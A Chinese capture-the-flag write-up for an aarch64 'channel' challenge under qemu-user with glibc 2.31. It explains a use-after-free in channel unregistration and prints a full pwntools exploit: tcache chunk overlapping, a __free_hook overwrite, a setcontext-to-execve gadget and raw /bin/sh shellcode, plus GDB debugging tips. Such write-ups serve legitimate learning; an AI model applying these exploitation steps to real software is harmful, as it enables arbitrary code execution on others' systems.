[PWN] - channel xp0int Posted on Jun 6 2021 # 程序分析 程序架构 aarch64,GLIBC 版本 2.31。题目附件提供一个静态编译版本的 qemu(`qemu-aarch64-static`)。 ## Register 使用`malloc`分配一个`CHANNEL`结构体,输入 0x100 字节数据作为它的`key`。创建后,插入`HEAD`全局变量(`qword_12018`)指向的链表首部。 ``` struct CHANNEL { char key[256]; struct CHANNEL *next_channel; struct NODE *next_node; }; ``` ## Write 主要是创建并向`CHANNEL`添加`NODE`结构体。 首先根据输入的`key`,从`HEAD`指向的链表搜索 `CHANNEL`;找到对应的`CHANNEL`后,用`malloc`分配`0< size <= 0x200`的堆内存,编辑堆内存,最后创建`NODE`结构体并将其添加到`CHANNEL`的`next_node`指针指向的链表尾部。 ``` struct NODE { char *ptr; struct NODE *next; }; ``` ## Read 没什么用。主要是打印`CHANNEL`的`NODE`链表第一个元素,然后将元素从链表移除。 ## UnResiger 从`HEAD`链表移除`CHANNEL`。 根据输入的`key`: 1. 若链表只有一个`CHANNEL`且`key`相符,用`free`释放`HEAD`指向的`CHANNEL`并清空`HEAD`。 2. 否则,若`key`与`HEAD`指向的`CHANNEL`相符,将`HEAD`指向下一个`CHANNEL`,然后释放原来的`CHANNEL`。 3. 否则,遍历`HEAD`链表。若`key`与某个`next_channel`指针指向的`CHANNEL`相符,用`free`释放这个`CHANNEL`。 # BUG UnResiger 遍历`HEAD`链表时,没有将释放后的`next_channel`指针清空,导致 **use-after-free** 或者 **double-free**。 题目限制比较多: 1. `NODE`只能在分配的时候编辑一次,不能用`free`释放。 2. 不能直接操纵`HEAD`链表上面的指针地址。 3. 不能泄露任何地址(当然没有必要泄露)。 比赛期间我没有解出这道题。后来看了师兄的 EXP 才发现自己的做题方向错了:其实只需使用 Chunk Overlapping 就能劫持 freed tcache chunk 实现任意地址分配,没有必要使用 GLIBC 2.31 新版本利用手法。 由于 QEMU 的原因,本题漏洞利用难度不大,因为 **在 User Mode Emulation 下,被模拟程序的内存地址空间是固定的、堆和栈内存都是可执行的** ,相当于直接无视程序原本启用的 PIE、NX 保护措施。在程序基址、libc 基址和堆基址均已知的情况下,堆布局和劫持控制流变得十分容易。 # 漏洞利用 **主要思路:** 首先构建一个正好覆盖某个`CHANNEL`结构体的 overlapping chunk;然后释放被覆盖的`CHANNEL`到 tcache 后,利用 use-after-free 修改另一个`CHANNEL`的`next_channel`指针指向 overlapping chunk;最后通过 overlapping chunk 修改 tcache fd 实现任意地址分配。 **STEP1:** 分配五个`CHANNEL`A、B、C、ctx1 和 ctx2。创建 A 后,添加一个 0x10 大小的`NODE`作为 overlapping chunk 头。overlapping chunk 大小为 0x150,overlap 了`NODE`和后面的 B(`0x150=0x10+0x20+0x120`)。 ``` reg("A") write("A", 0x10, flat([0, 0x151])) # fake chunk, size 0x150, overlapping B reg("B") reg("C") reg(ctx1) reg(ctx2) ``` 此时`HEAD`链表:`ctx2->ctx1->C->B->A->(nil)`。 先释放 A,再释放 B。注意由于 UnResiger 的 BUG,A、B 和下文释放的 C 仍然存在于`HEAD`链表中。 ``` unreg("A") unreg("B") ``` **STEP2:** 释放C,然后立刻使用 Write 重新分配回来。将`next_channel`指针修改为 overlapping chunk 地址。 ``` # c->next_channel = overlapping chunk unreg("C") write(ctx1, 0x110, b'C'.ljust(0x100, NUL) + p64(heapbase+0x7e0)) ``` 以 overlapping chunk 前 0x100 字节数据作为`key`,利用 UnResiger 释放 overlapping chunk 。 ``` # free c->next_head (aka overlapping chunk) key = flat([0, 0x21, heapbase+0x7d0, 0, 0, 0x121, heapbase+0x6b0, heapbase+0x10]) unreg(key) ``` **STEP3:** 最后使用 Write 分配得到 overlapping chunk,这样就能修改位于 tcache 里面 B 的 fd了。 ``` # edit fake chunk, set B fd = free_hook ctx += [0, 0, 0, 0] ctx += [0, 0x121, libcbase+0x16FC30] # free_hook write(ctx1, 0x140, flat(ctx)) ``` 将 fd 指向`free_hook`后,两次分配就能得到`free_hook`。 ``` reg("B") # get and edit free_hook write(ctx1, 0x110, p64(libcbase+0x42B6C)) # setcontext+0x8c ``` # 方法一:setcontext+execve 最初我想用`system`+`/bin/sh`地址的方法来 getshell。由于不明原因(可能是栈没对齐),`system`总是出现 `SEGFAULT` 或者 `stack smashing`的错误,无法 getshell。最后我使了用`setcontext`+`execve`的方法成功 getshell。 **主要思路:** 利用`setcontext`劫持控制流和前三个参数,执行`execve("/bin/sh", NULL, NULL)`。 在 aarch64 GLIBC 2.31 下,setcontext gadget 十分容易利用。我们一共需要控制 4 个寄存器:`pc`寄存器和`x0 / x1 / x2`三个参数寄存器,而`setcontext`设置这些寄存器的代码恰好位于函数结尾附近,正好形成一个 gadget。 ``` .text:0000000000042B6C LDR X16, [X0,#0x1B8] ; pc = [x0+0x1b8] .text:0000000000042B70 LDP X2, X3, [X0,#0xC8] .text:0000000000042B74 LDP X4, X5, [X0,#0xD8] .text:0000000000042B78 LDP X6, X7, [X0,#0xE8] .text:0000000000042B7C LDP X0, X1, [X0,#0xB8] ; x0 = [x0+0xb8] .text:0000000000042B80 BR X16 ``` 因此只需控制好`x0`寄存器,我们就能十分容易地劫持控制流到`execve`了(题外话,x64 GLIBC 2.31 还需要控制`RDX`寄存器,利用比以前麻烦多了)。 **STEP1:** 在一开始分配`CHANNEL`时,将`execve`和`/bin/sh`地址放置到`ctx1`、`ctx2`的`key`上的特定位置。 ``` # Place ucontext in heap ctx1 = NUL*0xb8 + p64(0x128950+libcbase) # x0 = "/bin/sh", x1 = x2 = '\x00' ctx2 = NUL*0x98 + p64(0xA3EC0+libcbase) # pc = execve reg(ctx1) reg(ctx2) ``` **STEP2:** 修改`free_hook`为`setcontext`后,释放`ctx1`即可 getshell。 ``` unreg(ctx1) ``` ![title](https://leanote.com/api/file/getImage?fileId=60baf1aaab64413c8a00046a) `execve`将整个`qemu`进程切换成 x64 的`/bin/sh`,无需准备 aarch64 版本的`sh`。 # 方法二:shellcode 还有一种更加简单的方法:执行 shellcode。由于 User Mode Emulation 的特性,被模拟程序不受 NX 保护措施影响,堆内存(以及栈内存)仍然是可执行的。 **STEP1:** 将 shellcode 放置在任意一个堆块上,然后将`free_hook`指向这个堆块。 shellcode 可以使用`asm(shellcraft.sh())`生成或者去[Exploit-DB](https://www.exploit-db.com/)和[Shell storm](http://shell-storm.org/shellcode/)上面找一个。 我在 Exploit-DB 找了一个`execve("/bin/sh", NULL, NULL)`的 shellcode(电脑刚好没装 aarch64 版的 Binutils,`asm`用不了)。 ``` # https://www.exploit-db.com/exploits/47048 shellcode = b"\xe1\x45\x8c\xd2\x21\xcd\xad\xf2\xe1\x65\xce\xf2\x01\x0d\xe0\xf2\xe1\x8f\x1f\xf8\xe1\x03\x1f\xaa\xe2\x03\x1f\xaa\xe0\x63\x21\x8b\xa8\x1b\x80\xd2\xe1\x66\x02\xd4" reg(shellcode) # get and edit free_hook write(ctx1, 0x110, p64(heapbase+0x810)) # shellcode on heap ``` **STEP2:** 调用`free`函数后,就能执行 shellcode 了。 ``` unreg(ctx1) ``` ![title](https://leanote.com/api/file/getImage?fileId=60baf13dab64413c8a00045c) # 其他 ## GDB 库文件符号问题 使用 QEMU 模拟执行非宿主结构程序,需要使用`-L`参数指定运行依赖库文件所在目录。以本题为例,需要将题目提供的`ld-linux-aarch64.so.1`和`libc-2.31.so`(改名为`libc.so.6`)放置到某个目录的`lib`目录下: ``` root@2d29eb9d6b1c:/pwn# ls -l ./root/lib total 1556 -rw-r--r-- 1 root root 145208 May 15 07:01 ld-linux-aarch64.so.1 -rw-r--r-- 1 root root 1442744 May 15 07:02 libc.so.6 ``` 然后指定`-L`参数运行:`./qemu-aarch64-static -L ./root ./channel` 这样导致 GDB 无法搜索到`libc.so.6`文件的正确路径,从而无法加载符号表。如下图,缺少符号表导致 pwndbg 不能标识地址的符号名称: ![title](https://leanote.com/api/file/getImage?fileId=60baf0dfab64413c8a000456) `vmmap`显示不了被模拟程序的内存空间: ![title](https://leanote.com/api/file/getImage?fileId=60baed9cab64413e87000439) 使用`info sharedlibrary`查看 GDB 库文件的加载状况,可以发现 GDB 仍然使用程序原来的库文件路径: ``` pwndbg> info sharedlibrary warning: Could not load shared library symbols for 2 libraries, e.g. /lib/libc.so.6. Use the "info sharedlibrary" command to see the complete listing. Do you need "set solib-search-path" or "set sysroot"? From To Syms Read Shared Object Library No /lib/libc.so.6 No /lib/ld-linux-aarch64.so.1 ``` 解决方法是使用`set solib-search-path`或者`set sysroot`指定 GDB 库文件路径。 以上面的路径为例,设置`set sysroot ./root`后,GDB 正确地搜索到库文件的文章: ``` pwndbg> info sharedlibrary From To Syms Read Shared Object Library 0x00000040008150c0 0x000000400082d3e8 Yes (*) ./root/lib/ld-linux-aarch64.so.1 0x00000040008707c0 0x000000400095fc90 Yes (*) ./root/lib/libc.so.6 (*): Shared library is missing debugging information. ``` GDB 正常显示符号: ![title](https://leanote.com/api/file/getImage?fileId=60baf099ab64413c8a000453) `vmmap`正常显示内存空间,从这里可以知道程序基址和 libc 库基址: ![title](https://leanote.com/api/file/getImage?fileId=60baee5bab64413c8a000440) 注意 pwngdb 的`codebase/heapbase/libcbase`命令返回的仍然是错误的地址(返回的是`qemu`进程的地址)。 ## free_hook 偏移地址 本题需要用到`free_hook`劫持程序控制流,一般使用`pwntools`查找它的偏移地址。 ``` elf = ELF("./libc-2.31.so") print(hex(elf.symbols["__free_hook"])) #0x16fc30 ``` `pwntools`偶尔会返回错误的结果,原因不明。我做题的时候也遇到了几次,但最后无法复现。 这里介绍一种通过查看汇编代码来寻找`free_hook`偏移地址的思路,适用于某些特殊场合(比如给出的 libc 库已 stripped)。 对于`malloc`、`free`等使用`hook`的函数,函数开头一般是检查`hook`是否为非空的代码,若非空,则转跳到`hook`指向的地址。所以我们很容易地在函数开头处找到`hook`的引用或者引用指针。 以本题 aarch64 GLIBC 2.31 找 `free_hook`为例。首先用 IDA 打开`free`函数,很容易在函数开头发现一个`__free_hook_ptr`的东西,这是`__free_hook`的GOT表。点击进入`__free_hook_ptr`后,就能找到`__free_hook`的内存位置了。 如果给的 libc 库没有带符号信息,可以结合上下文和汇编指令判断(注意,x86/x64没有 `__free_hook_ptr`,`free`直接引用`__free_hook`)。 ``` .text:0000000000079908 STP X29, X30, [SP,#var_30]! .text:000000000007990C ADRP X1, #__free_hook_ptr@PAGE ; 加载 __free_hook_ptr 地址 .text:0000000000079910 MOV X29, SP .text:0000000000079914 LDR X1, [X1,#__free_hook_ptr@PAGEOFF] ; 加载 __free_hook 地址 .text:0000000000079918 LDR X2, [X1] ; 加载 __free_hook 的值 .text:000000000007991C CBNZ X2, loc_799C4 ; 若 __free_hook 值非空,转跳到__free_hook ``` ## GDB 调试 QEMU 模拟程序 QEMU 使用`-g`参数后,GDB 可以调试模拟程序。用 kill 命令对 qemu 进程发送 SIGTRAP 信号可以使模拟程序暂停,相当于按下`Ctrl+C`。 # EXP ``` from pwn import * context(arch="aarch64", log_level="debug") DEBUG=1 if DEBUG: p = process(["./qemu-aarch64-static", "-g", "1234", "-L", "./root", "./channel"]) gdb.attach(("127.0.0.1", 1234), "set sysroot ./root\nc", exe="./channel") else: p = process(["./qemu-aarch64-static", "-L", "./root", "./channel"]) ''' root@2d29eb9d6b1c:/pwn# ls -l ./root/lib total 1556 -rw-r--r-- 1 root root 145208 May 15 07:01 ld-linux-aarch64.so.1 -rw-r--r-- 1 root root 1442744 May 15 07:02 libc.so.6 ''' NUL=b'\x00' p_sl = lambda ctx, ind: p.sendlineafter(ind, ctx) p_s = lambda ctx, ind: p.sendafter(ind, ctx) def p_ins(): if DEBUG: os.kill(p.pid, signal.SIGTRAP) def reg(key): p_sl('1', ">") p_s(key.ljust(0x100, NUL), "key>") def unreg(key): p_sl('2', ">") p_s(key.ljust(0x100, NUL), "key>") def write(key, len, ctx='\x00'): p_sl('4', ">") p_s(key.ljust(0x100, NUL), "key>") p_sl(str(len), "len") p_s(ctx, "content") libcbase = 0x4000850000 heapbase = 0x40009c4000 reg(b"A") write(b"A", 0x10, flat([0, 0x151])) # overlapping chunk, size 0x150, overlapping B reg(b"B") reg(b"C") # Place ucontext in heap ctx1 = NUL*0xb8 + p64(0x128950+libcbase) # x0 = "/bin/sh" ctx2 = NUL*0x98 + p64(0xA3EC0+libcbase) # pc = execve reg(ctx1) reg(ctx2) # send A, B to tcache unreg(b"A") unreg(b"B") # c->next_channel = overlapping chunk unreg(b"C") write(ctx1, 0x110, b'C'.ljust(0x100, NUL) + p64(heapbase+0x7e0)) # free c->next_channel (aka overlapping chunk) key = flat([0, 0x21, heapbase+0x7d0, 0, 0, 0x121, heapbase+0x6b0, heapbase+0x10]) unreg(key) # edit overlapping chunk, set B fd = free_hook ctx = [0, 0, 0, 0, 0, 0x121, libcbase+0x16FC30] # free_hook write(ctx1, 0x140, flat(ctx)) ####################################################################### def setcontext_execve(): reg(b"B") # get and edit free_hook write(ctx1, 0x110, p64(libcbase+0x42B6C)) # setcontext+0x8c def shellcode_on_heap(): # https://www.exploit-db.com/exploits/47048 shellcode = b"\xe1\x45\x8c\xd2\x21\xcd\xad\xf2\xe1\x65\xce\xf2\x01\x0d\xe0\xf2\xe1\x8f\x1f\xf8\xe1\x03\x1f\xaa\xe2\x03\x1f\xaa\xe0\x63\x21\x8b\xa8\x1b\x80\xd2\xe1\x66\x02\xd4" reg(shellcode) # get and edit free_hook write(ctx1, 0x110, p64(heapbase+0x810)) # shellcode on heap ####################################################################### #shellcode_on_heap() setcontext_execve() # getshell (setcontext+execve or shellcode) p_ins() # b *0x40008c99d4 unreg(ctx1) p.interactive() ``` 打赏还是打残,这是个问题 赏 Wechat Pay Alipay [PWN] SATool web3
没有帐号? 立即注册